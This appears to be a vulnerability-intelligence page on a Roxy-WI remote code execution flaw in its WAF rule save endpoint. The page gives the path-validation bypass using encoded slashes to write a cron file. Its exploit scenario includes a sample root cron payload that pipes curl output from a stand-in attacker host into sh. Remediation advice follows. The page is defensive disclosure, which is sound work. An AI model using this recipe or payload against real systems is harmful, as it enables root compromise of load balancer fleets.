Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-priv Roxy-WI account
-
DeliveryPOST crafted save request to /waf endpoint
-
ExploitBypass substring path validation via 92-encoded slashes
-
ExecutionWrite malicious cron file to /etc/cron.d on managed LB
-
PersistCron executes payload as root
-
ImpactPivot across all group-managed load balancers
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires a valid low-privileged Roxy-WI user account with permission to call POST /waf/<service>/<server_ip>/rule/<rule_id>/save (PR:L per CVSS), and the attacker's group must include at least one managed load balancer for the RCE to land. No user interaction is needed (UI:N) and the attack works over the network against any reachable Roxy-WI ≤ 8.2.6.4 web interface; default configurations are vulnerable since the flaw is in core path-validation logic, not an optional feature. Limiting factors: external unauthenticated attackers cannot exploit this directly without first obtaining Roxy-WI credentials, and the blast radius is bounded by which load balancers the compromised account's group manages. |
| Impact | The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects severe real-world risk: network-reachable, low complexity, scope-changing (the Roxy-WI web app pivots into root code execution on every downstream load balancer), with full CIA impact. PR:L indicates a low-privilege Roxy-WI user account is required, which limits pure external attackers but maps directly to any compromised operator credential or any tenant in a shared deployment. No EPSS, KEV, or SSVC data was provided in the intelligence feed, and no public exploit has been identified at time of analysis, so this is not currently confirmed actively exploited. However, the description provides a fully worked exploitation recipe (the '92etc92cron.d92nginx_cfg_evil' filename trick) that effectively serves as a written PoC, and the absence of a vendor patch sharply elevates urgency. This should be treated as a real, prioritize-now issue, not a paper-only high CVSS. |
| Exploit ScenarioDerived | An attacker with any low-privileged Roxy-WI account (e.g., a contractor with WAF-edit rights, or a compromised operator credential) sends a POST to /waf/nginx/<server_ip>/rule/<rule_id>/save with config_file_name set to '92etc92cron.d92nginx_cfg_evil' and a config body containing '* * * * * root curl attacker.tld/x|sh'. Roxy-WI decodes 92→/, validates the path contains 'nginx' and 'cfg', and writes the file to /etc/cron.d/nginx_cfg_evil on every load balancer in the user's group; within a minute cron executes the payload as root across the entire LB fleet. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 10, 2026
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated users to write attacker-controlled content to arbitrary absolute paths on managed load balancers via the WAF rule save endpoint. By dropping a malicious cron file (e.g., /etc/cron.d/nginx_cfg_evil), an attacker achieves root-level code execution on every load balancer in the caller's group. No public exploit identified at time of analysis, and no vendor-released patch is currently available, making this a high-priority issue for any exposed deployment.
RemediationAI
No vendor-released patch identified at time of analysis - the GHSA advisory (https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-85gm-773v-x7m4) states no public patches exist at publication, so monitor that advisory for an upstream fix and upgrade as soon as a patched release is announced. As compensating controls, restrict network access to the Roxy-WI web interface to a trusted admin VLAN or VPN to neutralize the AV:N exposure; tighten Roxy-WI group memberships and audit all low-privilege accounts since PR:L is the entry barrier; if WAF rule editing is not actively used, remove user permissions to the /waf/*/rule/*/save endpoint via a reverse-proxy ACL (trade-off: blocks legitimate WAF rule updates); on the managed load balancers, deploy file-integrity monitoring on /etc/cron.d, /etc/cron.hourly, and other cron drop-in directories to detect attacker-written files before the next cron scan executes them.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Roxy-WI is a web interface that centrally manages HAProxy, Nginx, Apache, and Keepalived load balancer servers (CPE: cpe:2.3:a:roxy-wi:roxy-wi). The vulnerability is a textbook CWE-20 Improper Input Validation flaw in the path-handling logic of the WAF rule save endpoint (POST /waf/<service>/<server_ip>/rule/<rule_id>/save). The validation helpers _replace_config_path_to_correct and check_is_conf only enforce that the destination path contains a hard-coded service substring (nginx, haproxy, apache2, httpd, or keepalived) plus 'conf' or 'cfg', and that it lacks '..' traversal sequences. Critically, the encoded-slash substitution (decoding '92' to '/') runs BEFORE the substring check, so any absolute path satisfying the trivial substring constraints can be reached. The config form field body is then written verbatim by config_mod.master_slave_upload_and_restart to the chosen destination on the managed load balancer.
Know when Roxy Wi gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionNVD
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. In versions 8.2.6.4 and prior, POST /waf/<service>/<server_ip>/rule/<rule_id>/save accepts a config_file_name form field that is passed straight through to config_mod.master_slave_upload_and_restart(...) as the destination path. The validation chain (_replace_config_path_to_correct → check_is_conf) only requires the path to contain a hard-coded service substring (nginx/haproxy/apache2/httpd/keepalived) and the substring conf or cfg, and to not contain ... The encoded-slash substitution 92 → / is applied before the substring check, so the attacker can build any absolute path anywhere on the LB filesystem as long as it satisfies those substring constraints. The body of the WAF rule (config form field) is written verbatim to that path. By choosing a filename like 92etc92cron.d92nginx_cfg_evil (resolving to /etc/cron.d/nginx_cfg_evil), an attacker drops a cron entry on the load balancer with attacker-controlled content. Cron parses the file on its next scan, executing the embedded job as root - full RCE on every load balancer the caller's group manages. At time of publication, there are no publicly available patches.
Articles & Coverage 4
Executive ViewAI
Roxy-WI versions 8.2.6.4 and earlier allow authenticated users to write arbitrary files to all managed load balancers in their group, enabling root-level code execution that could compromise infrastructure availability and security. An attacker with valid credentials can inject malicious cron jobs to execute commands with highest privileges across the entire load balancer fleet. No vendor patch is currently available, making this a critical threat requiring immediate compensating controls to prevent exploitation.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to WAF rule save endpoint using firewall rules; (2) Implement role-based access controls limiting WAF rule modification to essential administrators only; (3) Deploy file integrity monitoring on load balancers targeting /etc/cron.d/, /etc/cron.*, /var/spool/cron/, and other cron locations; (4) Enable comprehensive audit logging of API calls to WAF endpoints; (5) Consider disabling Roxy-WI functionality temporarily if business criticality is low; (6) Monitor load balancer process execution for suspicious cron invocations.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical severity (CVSS 9.8
Roxy-WI is a Web interface for managing HAProxy, Nginx and Keepalived servers. Rated critical severity (CVSS 9.8), this
Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever
Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated high severity (CVSS 8.8), t
Authenticated command injection in Roxy-WI versions prior to 8.2.8.2 enables attackers to execute arbitrary system comma
Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),
Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),
hap-wi/roxy-wi is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated medium severity (CVS
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated low-privilege users (role ≤ 3) to injec
Privilege escalation and cross-tenant compromise in Roxy-WI versions 8.2.6.4 and prior allows any authenticated user - i
Roxy-WI through 5.2.2.0 allows SQL Injection via check_login. Rated critical severity (CVSS 9.8), this vulnerability is
EUVD-2026-36038
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB